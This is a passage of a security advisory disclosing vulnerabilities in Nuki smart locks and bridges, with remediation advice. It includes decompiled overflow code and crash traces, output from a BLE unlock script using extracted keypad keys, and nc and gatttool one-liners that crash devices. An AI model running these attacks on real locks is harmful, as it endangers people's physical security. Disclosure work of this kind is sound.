Technical Advisory – Multiple vulnerabilities in Nuki smart locks (CVE-2022-32509, CVE-2022-32504, CVE-2022-32502, CVE-2022-32507, CVE-2022-32503, CVE-2022-32510, CVE-2022-32506, CVE-2022-32508, CVE-2022-32505)

The following vulnerabilities were found as part of a research project looking at the state of security of the different Nuki (smart lock) products. The main goal was to look for vulnerabilities which could affect to the availability, integrity or confidentiality of the different devices, from hardware to software.

Eleven vulnerabilities were discovered. Below are links to the associated technical advisories:

Technical Advisories:

Lack of Certificate Validation on TLS Communications (CVE-2022-32509)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32509

Risk: 8.5 (CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:N)

Summary

No SSL/TLS certificate validation was implemented on the Nuki Smart Lock and Bridge devices.

Impact

Without SSL/TLS certificate validation, it is possible to perform man-in-the-middle attacks to access network traffic sent over an encrypted channel.

Details

It was possible to set up an intercepting proxy to capture, analyse and modify communications between the affected device and the supporting web services. In the picture below, WebSocket traffic can be observed, in which messages are sent to and received from the Keyturner device:

Keyturner WebSocket traffic captured

Recommendation

Implement SSL/TLS certificate validation for every function that uses network communication.

Stack Buffer Overflow Parsing JSON Responses (CVE-2022-32504)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32504

Risk: 8.8 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Summary

The code that implements the parsing of the JSON objects received from the SSE WebSocket leads to a stack buffer overflow.

Impact

A skilled attacker would be able to exploit this to gain arbitrary code execution on the device.

Details

The code shown in the snippet below leads to a buffer overflow. It should be noted that the C code below is an interpretation based on firmware decompilation. Therefore, the structure, pointers, variables, etc. can differ from the original one.

void ws_parse_response()
{
  // stack variables
  [SNIP]
  char name_value[40];
  unsigned __int8 item_buff[1024]; // destination buffer (overflowed)
  json_list json_obj;
  unsigned int v22[3]; 
  _BYTE *v23;
  [SNIP]

  packet_val_len = 0;
  byte_2000B007 = 1;
  sub_698EA(v22);

  num_json_items = json_parser(v22, ws_pkt_received, ws_pkt_recv_size, &json_obj, 0x20u);
  if ( num_json_items >= 0 )
  {
    for ( i = 0; i < num_json_items; ++i )
    {
      if ( !json_obj_strcmp(ws_pkt_received, &json_obj.obj[i], "name") ) // name item
      {
        sprintf( item_buff, "%.*s", json_obj.obj[i + 1].end - json_obj.obj[i + 1].ini,
          &ws_pkt_received[json_obj.obj[i + 1].ini]); // overflow
        strncpy(name_value, item_buff, 40);
        break;
      }
      if ( !json_obj_strcmp(ws_pkt_received, &json_obj.obj[i], "id") ) // id item – line 37
      {
        sprintf( item_buff, "%.*s", json_obj.obj[i + 1].end - json_obj.obj[i + 1].ini,
          &ws_pkt_received[json_obj.obj[i + 1].ini]); // overflow – line 40
        strncpy(v18, item_buff, 32);
        dword_2000AD7C = sub_768BC(v18, 0, 10);
      }
    }
    ++word_2000AD64;
    print_log("SSE: received %s\r\n", name_value);
  • The code above is parsing the SSE WebSocket JSON packet received.
  • The code looks for the “id” key. (line: 37)
  • The selected key’s value (e.g. “id”) is copied into the stack variable “item_buff” (1024 bytes) through the sprintf() function. (line: 40)
  • The variable is overflowed since no size checks are implemented.

The snippet of code below shows how the stack buffer overflow was triggered and the PC (Program Counter) ARM register overwritten:

[*] ==========================
[*] Emulating the ws_parse_response() function
>>> Function: ['00069D08 (ws_parse_response)'] (lr:0x0)
>>> Function: ['00075A06 (memset)'] (lr:0x69d21)
>>> Function: ['00075A06 (memset)'] (lr:0x69d31)
>>> Function: ['00075A06 (memset)'] (lr:0x69d41)
>>> Function: ['000698EA (sub_698EA)'] (lr:0x69dbb)
>>> Function: ['000695B4 (json_parser)'] (lr:0x69dd7)
[SNIP]
>>> Function: ['000759D4 (sub_759D4)'] (lr:0x7701f)
>>> Function: ['0007652E (strncpy_)'] (lr:0x69edb)
>>> Function: ['000768BC (sub_768BC)'] (lr:0x69ee9)
>>> Function: ['000767A4 (sub_767A4)'] (lr:0x768db)
>>> Function: ['0007588C (sub_7588C)'] (lr:0x767bf)
>>> Function: ['00069926 (print_log)'] (lr:0x69f1f)
>>> Function: ['00076580 (sub_76580)'] (lr:0x69f27)
>>> Function: ['00069926 (print_log)'] (lr:0x69f33)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x69f3f)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a0bb)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a2a9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a395)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a7f9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a9a9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6b079)
>>> Tracing basic block at 0x58585858, block size = 0x4
==============================
ERROR: Invalid memory fetch (UC_ERR_FETCH_UNMAPPED)
>>> r0 = 0xffffffb5
>>> r1 = 0xc9b85
>>> r2 = 0x1
>>> r3 = 0x2000ad68
>>> sp = 0x20005300
>>> pc = 0x58585858

It should be noted that all sprintf() functions implemented within the vulnerable function could lead to stack buffer overflows since the  “item_buff” stack variable’s size is not checked.

It should also be mentioned that this vulnerability in combination with the “Lack of Certificate Validation on TLS Communications” greatly increases the risk of both vulnerabilities. An attacker could carry out a man-in-the-middle attack between the device and the router in order to tamper with the WebSocket packets, trigger the buffer overflow vulnerability and finally take control of the device.

Additionally, if a malicious user could get access to the Nuki’s SSE servers this could be used to take control of all the affected devices.

Recommendation

Ensure that the length of the data copied into an object is checked in order to avoid exceeding the size of its destination or the desired value. Always specify the size of the destination buffer for any memory copy operation to prevent overflowing it. This can be achieved by using the snprintf() function instead of the sprintf() function.

All code should be compiled with standard defensive measures in place. Stack cookies could be enabled to prevent stack buffer overflows.

Stack Buffer Overflow Parsing HTTP Parameters (CVE-2022-32502)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32502

Risk: 8.0 (CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

Summary

The code in charge of the HTTP API parameter parsing logic leads to a stack buffer overflow.

Impact

A skilled attacker could be able to exploit this to gain arbitrary code execution.

Details

Stack overflows can be exploited by overwriting a function return address thereby gaining control of execution. In the context of the affected device, the lack of common protections against stack manipulation, such as stack canaries or ASLR, makes it easier to successfully exploit this vulnerability.

The following C pseudocode (obtained from decompiling the firmware) shows how the HTTP API parses the parameters received when the timestamp parameter is supplied:

int sub_FDA8(char *http_ts_param, int http_rnr_param, char *http_token_param, char *http_hash_param)
{
  [SNIP]
  char v22[64]; // [sp+28h] [bp-D8h]
  char string_to_hash[30]; // [sp+68h] [bp-98h]

  sprintf(string_to_hash, "%s,%d,%s", http_ts_param, http_rnr_param, http_token_param);
  v5 = sub_45AAA(string_to_hash);
  sub_12B00((int)string_to_hash, v5, (int)v21);
  sub_214BC(v22, (int)v21);
  [SNIP]

The first line of code to be executed concatenates the timestamp parameter with the random number and clear-text token. This corresponds to how the hashed token is calculated, according to the HTTP API documentation[1] (section 3.2.1). This is done with a call to sprint(), that copies the contents of said parameters to the stack-based buffer “string_to_hash”. However, this call if performed without validating parameter size, leading to an overflow.

Sending a large payload in the “ts” parameter is enough to crash the device, causing a restart. Upon inspection, it was confirmed that the return address was overwritten:

Return address overwritten abusing the “ts” parameter

It is important to notice that this vulnerability is exploitable from within the LAN network, without the need of a valid token, as long as the HTTP API is enabled.

[1] Nuki HTTP API documentation: https://developer.nuki.io/page/nuki-bridge-http-api-1-13/4/#heading–token

Recommendation

Ensure that the length of the data copied into an object is checked in order to avoid exceeding the size of its destination or the desired value. Always specify the size of the destination buffer for any memory copy operation to prevent overflowing it. This can be achieved by using the snprintf() function instead of the sprintf() function.

All code should be compiled with standard defensive measures in place. Stack cookies could be enabled to prevent stack buffer overflows.

Broken Access Controls in the BLE Protocol (CVE-2022-32507)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32507

Risk: 8.0 (CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Summary

Insufficient access controls were found in the Bluetooth Low Energy (BLE) Nuki API implementation.

Impact

The lack of access controls allowed users to send high-privileged commands to the Keyturner for which they should not have permission.

Details

It was found that some BLE commands, which should have been designed to be only called from privileged accounts (such as the mobile application) could also be called from unprivileged accounts (such as the Keypad). This demonstrates that no access controls were implemented for the different BLE commands between the different accounts.

Therefore, the Keypad authentication (auth-id and shared-key) could be used to call the “Lock Action”[1] command, which does not require the Keypad code, instead of the “Keypad Action”[2] command. This would allow an attacker with access to the Keypad auth-id and shared-key to carry out actions such as opening the Keyturner without knowing the Keypad code.

Similarly, an attacker could also try to change the Keyturner admin security PIN from an unprivileged user account by using its authentication information and calling the BLE command “Set Security PIN”.

The snippets of code below show how it was possible to use the Keypad authentication data (auth-id and shared-key) to call the Lock Action command and open the Keyturner without knowing the Keypad code.

Keypad authentication data, which can be extracted by using the exposed JTAG/SWD interfaces:

# Auth ID   # Name (Nuki Keypad)
0x000f4e00: 00000000e15c3400034e756b69204b6579706164000000000000000000000000
0x000f4e20: 0000000000000000005c7927013dbcac2f3f91e2[REDACTED]2ff141a6afa51a // shared key
0x000f4e40: 84dc6e49a016fee464e5070101040a08e5070101040a08000000000000000000 // (32 bytes)

A python script was developed to perform the “Lock Action” command with the Keypad auth data:

$ python keyturner_open.py 
[*] == Nuki Keyturner Protocol == [*]
[*] SHARED_KEY: 5c7927013dbcac2f3f91e2[REDACTED]2ff141a6afa51a84dc6e49a016fee464
[*] PACKET 1 (keyturner > keypad)
[*] ========================================
[*] packet: 0fb7d032f45f7252738500eb19e2[REDACTED]96f771f821c80b26752343329a5ddc8b2ef3bdb414
[*] nonce:  0fb7d032f45f7252738500eb19e2bc546fac8d1f057816d8
[*] auth_id:  e15c3400
[*] len:  1a00
[*] ##########
[*] Plaintext: e15c340001000400752d
[*] auth_id:   e15c3400
[*] command:   Request Data (0100)
[*] payload:   Challenge (0400)
[*] crc:       752d
[*] ========================================
[*] PACKET 2 (keypad > keyturner)
[*] ========================================
[*] packet: 4f9ab198f1c0b011f3d17b327d8160[REDACTED]2279658a4939a1578c088ceafa1c3a56f32be2f08
[*] nonce:  4f9ab198f1c0b011f3d17b327d8160506c146bc3535cfbb9
[*] auth_id:  e15c3400
[*] len:  3800
[*] ##########
[*] Plaintext: e15c34000400e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c24c28
[*] auth_id:   e15c3400
[*] command:   Challenge (0400)
[*] payload:   e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c2
[*] crc:       4c28
[*] ========================================
[*] PACKET 3 (keyturner > keypad)
[*] ========================================
[*] packet: 14b78e7ddb716c95e988d655ad245b9[REDACTED]4a8c0948670186b389615e3c01f9756232b8835ce
[*] nonce:  14b78e7ddb716c95e988d655ad245b99f1c8292cd1066f93
[*] auth_id:  e15c3400
[*] len:  3e00
[*] ##########
[*] Plaintext: e15c34000d00010000000000e33eeb8c4f5a9df1af6ecce7edacd28b0c92149[REDACTED]245ec
[*] auth_id:   e15c3400
[*] command:   Lock Action (0d00)
[*] payload:   010000000000e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c2
[*] crc:       45ec
[*] ========================================
[*] PACKET 4 (keypad > keyturner)
[*] ========================================
[*] packet: 4e9887b2e14fee9070ceec172b1f1fd99[REDACTED]4c26bdcbc2df6cfcddc24ff9941fdcea8f378
[*] nonce:  4e9887b2e14fee9070ceec172b1f1fd99eb4e9e52b60081d
[*] auth_id:  e15c3400
[*] len:  1900
[*] ##########
[*] Plaintext: e15c34000e0001f3a4
[*] auth_id:   e15c3400
[*] command:   Status (0e00)
[*] payload:   01
[*] crc:       f3a4
[*] ========================================
  • Packet 1: The script requests a challenge – Request Data (0100) + Challenge (0400)
  • Packet 2: Keyturner replies with a valid challenge – Challenge (0400)
  • Packet 3: The script requests the “Lock Action” appending the valid challenge – Lock Action (0d00)
  • Packet 4: Keyturner replies with the “Status (0e00)” message – Unlocked successfully

It should be mentioned that this vulnerability in combination with the “JTAG Exposed via Test Points” exposes the Nuki environment to considerable risk as the Keypad is usually installed on an untrusted place. Hence, an attacker could leverage these vulnerabilities to open the Keyturner without knowing the Keypad code.

[1] https://developer.nuki.io/page/nuki-smart-lock-api-2/2/#heading–lock-action

[2] https://developer.nuki.io/page/nuki-smart-lock-api-2/2/#heading–keypad-action

Recommendation

Access controls must be implemented for the different accounts and BLE commands.

Similarly, ensure that the access controls, which should be applied to each function, are fully understood and are implemented correctly. [1][2]

[1] OWASP Guidance: https://owasp.org/www-community/Broken_Access_Control

[2] OWASP Top 10 – Broken Access Control: https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control

JTAG Exposed via Test Points (CVE-2022-32503)

Vendor: Nuki (https://nuki.io)Systems and Versions affected:
- Nuki Keypad (<1.9.2)
- Nuki Fob (<1.8.1)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32503
Risk: 7.6 (CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Summary

JTAG hardware interfaces were exposed on the affected devices.

Impact

An attacker with physical access to the circuit board could use the JTAG’s boundary scan feature to control the execution of code on the processor and debug the firmware, as well as read or alter the content of the internal and external flash memory.

Details

The circuit board exposes a JTAG interface on PCB through-hole test points, as shown below:

Keypad JTAG exposed and labelled interface

This interface was next to a set of labels that clearly indicated each pad functionality, making it easier to take advantage of.

The snippet of code below shows the ARM registers once connected into the JTAG interface:

> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x40030000
(3) r3 (/32): 0x00000005
(4) r4 (/32): 0x40090000
(5) r5 (/32): 0x40030000
(6) r6 (/32): 0x00000009
(7) r7 (/32): 0x50001000
(8) r8 (/32): 0x40091000
(9) r9 (/32): 0x40090000
(10) r10 (/32): 0x00000001
(11) r11 (/32): 0x40031000
(12) r12 (/32): 0xffffffff
(13) sp (/32): 0x11001ff0
(14) lr (/32): 0x10000eb1
(15) pc (/32): 0x10000e62
(16) xPSR (/32): 0x61000000
(17) msp (/32): 0x11001ff0
(18) psp (/32): 0x00000000
(20) primask (/1): 0x00
(21) basepri (/8): 0x00
(22) faultmask (/1): 0x00
(23) control (/3): 0x00
===== Cortex-M DWT registers

An attacker with physical access to any of these ports may be able to connect to the device and bypass both hardware and software security protections. JTAG debug may be usable to circumvent software security mechanisms, as well as to obtain the full firmware stored in the device unencrypted.

The severity of this issue has been raised to high, as the Keypad device is exposed outside of the secured area, making it easier for an attacker to access the device and its internal components.

Recommendation

NCC Group recommends disabling JTAG using the appropriate means described in the point 5.1 of the “Technical Reference Manual for the CC26x0 MCU”[1].

[1] https://www.ti.com/lit/ug/swcu117i/swcu117i.pdf?ts=1647438101993  

Sensitive Information Sent Over an Unencrypted Channel (CVE-2022-32510)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32510

Risk: 7.1 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)

Summary

The HTTP API exposed by the Bridge used an unencrypted channel to provide an administrative interface.

Impact

Communications between a client and the HTTP API could be passively collected by any other device with access to the local network.

Details

By design[1], a client authenticates to the API using a parameter named “token” supplied in GET requests, as shown below:

GET /info?token=[REDACTED] HTTP/1.1
Host: 192.168.254.100:8080
User-Agent: curl/7.68.0
Accept: */*
Connection: close

This token can be easily eavesdropped by a malicious actor to impersonate a legitimate user and gain access to the full set of API endpoints.

It should also be noted that the API provides a method to obfuscate the authentication token along with other parameters. The documentation states that a SHA256 hash is calculated consisting of the concatenation of the timestamp, a random four-digit number, and the plaintext token. The request above would be replaced by something similar to the one below:

GET /info?ts=2022-01-19T11:24:01Z&rnr=1245&hash=4b110d8fa77359c7814e0e73d19d94b8e57c7ea9de3d996fce9d6dfdf106f610 HTTP/1.1
Host: 192.168.254.100:8080
User-Agent: curl/7.68.0
Accept: */*
Connection: close

This protection provided by the mentioned method is not enough to prevent the leak of the authentication token. All the other variables used to calculate the hash are known to the attacker and knowing the token length and its character set, it would be possible to crack it with little effort.

As a proof of concept, the hash used in the previous request was cracked using hashcat[2] at 224 a MH/s rate in less than four minutes:

Hashed token cracked

[1] Nuki Bridge HTTP API Documentation: https://developer.nuki.io/page/nuki-bridge-http-api-1-13/4/#heading–token

[2] Hashcat Cracking Tool: https://hashcat.net/hashcat/

Recommendation

HTTP connections should be replaced with HTTPS using TLS 1.2/1.3.

Additionaly, no sensitive information, such as the authentication token, should ever be sent in an HTTP GET parameter. Consider using POST messages or adding an authentication cookie.

SWD Interfaces Exposed via Test Points (CVE-2022-32506)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32506

Risk: 6.4 (CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

Summary

SWD hardware interfaces were exposed on the affected devices.

Impact

An attacker with physical access to the circuit board could use the SWD debug features to control the execution of code on the processor and debug the firmware, as well as read or alter the content of the internal and external flash memory.

Details

The system-on-a-chip (SoC) exposes a SWD interface on the tests points shown below:

SWD test points exposed

The SWD interface pinout is documented in the SoC datasheet[1] (section 6.3, page 130; section 6.5, page 162) and  was exploited using the following configuration:

FunctionalityGPIO namePin number
SWCLKPF0Pin 1
SWDIOPF1Pin 2

An attacker with physical access to this interface would be able to connect to the device and bypass both hardware and software security protections. SWD debug could be used to circumvent software security mechanisms, as well as obtain the full unencrypted firmware stored in the device.

The snippet of code below shows how it was possible to interact with the SoC, to display the ARM registers:

===== Cortex-M DWT registers
> halt
target halted due to debug-request, current mode: Thread 
xPSR: 0x61000000 pc: 0x0002d652 msp: 0x20002100
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0xffffffff
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x2000567c
(4) r4 (/32): 0x20005674
(5) r5 (/32): 0x2000e064
(6) r6 (/32): 0xffffffff
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x20005108
(9) r9 (/32): 0x20005118
(10) r10 (/32): 0x20006624
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x20002100
(14) lr (/32): 0x00025413
(15) pc (/32): 0x0002d652
(16) xPSR (/32): 0x61000000
(17) msp (/32): 0x20002100
(18) psp (/32): 0x20010000
(20) primask (/1): 0x00
(21) basepri (/8): 0x00
(22) faultmask (/1): 0x00
(23) control (/3): 0x00
[SNIP]

[1] https://www.silabs.com/documents/public/data-sheets/efr32mg13-datasheet.pdf

Recommendation

NCC Group recommends disabling SWD using the GPIO API described in “EFR32 Mighty Gecko 13 Software Documentation”[1]

[1] https://siliconlabs.github.io/Gecko_SDK_Doc/efr32mg13/html/group__GPIO.html#ga7aa21d660197b3e2f67589db89686bbf

Denial of Service via Unauthenticated HTTP API Messages (CVE-2022-32508)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32508

Risk: 6.5 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Summary

The affected devices were vulnerable to denial of service via crafted HTTP packets.

Impact

An unauthenticated attacker could cause a denial of service, affecting the availability of the Bridge by making the device unstable.

Details

The following python command can be used in order to reproduce the denial of service attack:

$ python -c 'print(b"XXX / HTTP/1.1\r\nHost:10.0.0.103\r\n\r\n")' | nc BRIDGE_IP 8080
HTTP/1.1 405 Method not allowed
Connection: Close
Content-Length: 27

HTTP 405 Method not allowedHTTP/1.1 405 Method not allowed
Connection: Close
Content-Length: 27

HTTP 405 Method not allowed

As shown in the HTTP response above, after sending the crafted HTTP message, the API server returned three consecutive “405 Method not allowed” message responses and rebooted.

The image below shows how after sending the crafted HTTP packet, the device was rebooted and requested a new IP address through the DHCP protocol. Note that the payload was sent twice, at seconds 48 and 86.

DHCP packets sent after the DoS

It should also be mentioned that this behaviour was investigated in the firmware, but the root cause could not be confirmed. Observations suggested that HTTP messages which did not have a valid “GET” method, where not being handled correctly leading to an infinite loop.

Recommendation

It is recommended to investigate the issue and try to identify the root cause.  

Denial of Service via Unauthenticated BLE packets (CVE-2022-32505)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: CVE-2022-32505

Risk: 6.5 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Summary

The affected devices were vulnerable to denial of service(DoS) via crafted Bluetooth Low Energy (BLE) packets.

Impact

An unauthenticated attacker could cause a DoS, affecting to the availability of the Keyturner and making the device unstable.

Details

The following bash command can be used in order to reproduce the denial of service attack: (This command can be sent a few times in a row to ensure the DoS)

$ gatttool -b KEYTURNER_MAC --char-write-req -a 0x69 -n $(echo -ne "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" |xxd -ps)
connect error: Function not implemented (38)

Apart from observing the Keyturner reboot sounds and the engines turning, the device reboot was also verified by adding hardware breakpoints into the first firmware function (0x250f6) through the SWD interface:

> bp 0x250f6 2 hw
breakpoint set at 0x000250f6
> resume
> 
>  // Denial of Service was done here
> 
target halted due to breakpoint, current mode: Thread 
xPSR: 0x61000000 pc: 0x000250f6 msp: 0x200052ec  // breakpoint triggered, so device was rebooted
>

It should be mentioned that most of the BLE characteristics exposed and those undefined within the documentation seem vulnerable to the same issue.

The snippets of code below show characteristics found with write properties for the Keyturner v2 and v3.

Keyturner v2 characteristics with write properties:

HandlesService > CharacteristicsProperties
0008 -> 000b
000c
0011
000000a20000100080000026bb765291 
000000370000100080000026bb765291
     000000a50000100080000026bb765291

READ, WRITE
READ, WRITE
0016 -> 0044
001a
001f
0024
0029
002e
0033
0038
003d
0000003e0000100080000026bb765291
     000000140000100080000026bb765291               
000000200000100080000026bb765291
000000210000100080000026bb765291
000000230000100080000026bb765291
000000230000100080000026bb765291
000000520000100080000026bb765291
000000530000100080000026bb765291
000000a60000100080000026bb765291
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE, INDICATE
0045 -> 005b
0049
004e
0053
0058
000000550000100080000026bb765291
0000004c0000100080000026bb765291
0000004e0000100080000026bb765291
0000004f0000100080000026bb765291
000000500000100080000026bb765291
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
005c -> 007b
0060
0066
006f
0078
000000450000100080000026bb765291
000000a50000100080000026bb765291
0000001d0000100080000026bb765291
0000001e0000100080000026bb765291
000000230000100080000026bb765291

READ, WRITE
READ, WRITE, INDICATE
READ, WRITE, INDICATE
READ, WRITE
007c -> 0088
0080
0085
000000440000100080000026bb765291
000000190000100080000026bb765291
000000370000100080000026bb765291

READ, WRITE
READ, WRITE
0089 -> 008c
008b
a92ee100550111e4916c0800200c9a66
a92ee101550111e4916c0800200c9a66

READ, WRITE, INDICATE
008d -> 0095
008f
0092
0095
a92ee200550111e4916c0800200c9a66
a92ee201550111e4916c0800200c9a66
a92ee202550111e4916c0800200c9a66
a92ee203550111e4916c0800200c9a66

READ, WRITE, INDICATE
READ, WRITE, INDICATE
WRITE
009d -> ffff
00a1
00a7
00ad
000000960000100080000026bb765291
000000680000100080000026bb765291
0000008f0000100080000026bb765291
000000790000100080000026bb765291

READ, WRITE, INDICATE
READ, WRITE, INDICATE
READ, WRITE, INDICATE

Keyturner v3 characteristics with write properties:

HandlesService > CharacteristicsProperties
0008 -> 000b
000a
a92ee100550111e4916c0800200c9a66
a92ee101550111e4916c0800200c9a66

READ, WRITE, INDICATE
000c -> 0014
000e
0011
0014
a92ee200550111e4916c0800200c9a66
a92ee201550111e4916c0800200c9a66
a92ee202550111e4916c0800200c9a66
a92ee203550111e4916c0800200c9a66

READ, WRITE, INDICATE
READ, WRITE, INDICATE
WRITE
001a -> 002b
0022
0027
000000a20000100080000026bb765291
000000370000100080000026bb765291
000000a50000100080000026bb765291

READ, WRITE
READ, WRITE
002c -> 005f
0030
0035
003a
003f
0044
0049
004e
0053
005c
0000003e0000100080000026bb765291
000000140000100080000026bb765291
000000200000100080000026bb765291
000000210000100080000026bb765291
000000230000100080000026bb765291
000000300000100080000026bb765291
000000520000100080000026bb765291
000000530000100080000026bb765291
000000a60000100080000026bb765291
000002200000100080000026bb765291

READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE, INDICATE
READ, WRITE
0060 -> 0076
0064
0069
006e
0073
000000550000100080000026bb765291
0000004c0000100080000026bb765291
0000004e0000100080000026bb765291
0000004f0000100080000026bb765291
000000500000100080000026bb765291

READ, WRITE
READ, WRITE
READ, WRITE
READ, WRITE
0077 -> 0096
007b
0081
008a
0093
000000450000100080000026bb765291
000000a50000100080000026bb765291
0000001d0000100080000026bb765291
0000001e0000100080000026bb765291
000000230000100080000026bb765291

READ, WRITE
READ, WRITE, INDICATE
READ, WRITE, INDICATE
READ, WRITE
0097 -> 00a3
009b
00a0
000000440000100080000026bb765291
000000190000100080000026bb765291
000000370000100080000026bb765291

READ, WRITE
READ, WRITE
00a4 -> ffff
00a8
00ae
00b4
000000960000100080000026bb765291
000000680000100080000026bb765291
0000008f0000100080000026bb765291
000000790000100080000026bb765291

READ, WRITE, INDICATE
READ, WRITE, INDICATE
READ, WRITE, INDICATE

Recommendation

It is recommended to investigate the issue and try to identify the root cause.

Additionally, all BLE services and characteristics implemented by the Keyturner should be reviewed, disabling those which are not required for business purposes.

Insecure Invite Keys Implementation

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock application (v2022.5.1 (661))

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: N/A

Risk: 1.9 (CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N)

Summary

Invite token, which was created to identify the user during the invitation process, was also used to encrypt and decrypt the invite keys on the Nuki servers.

Impact

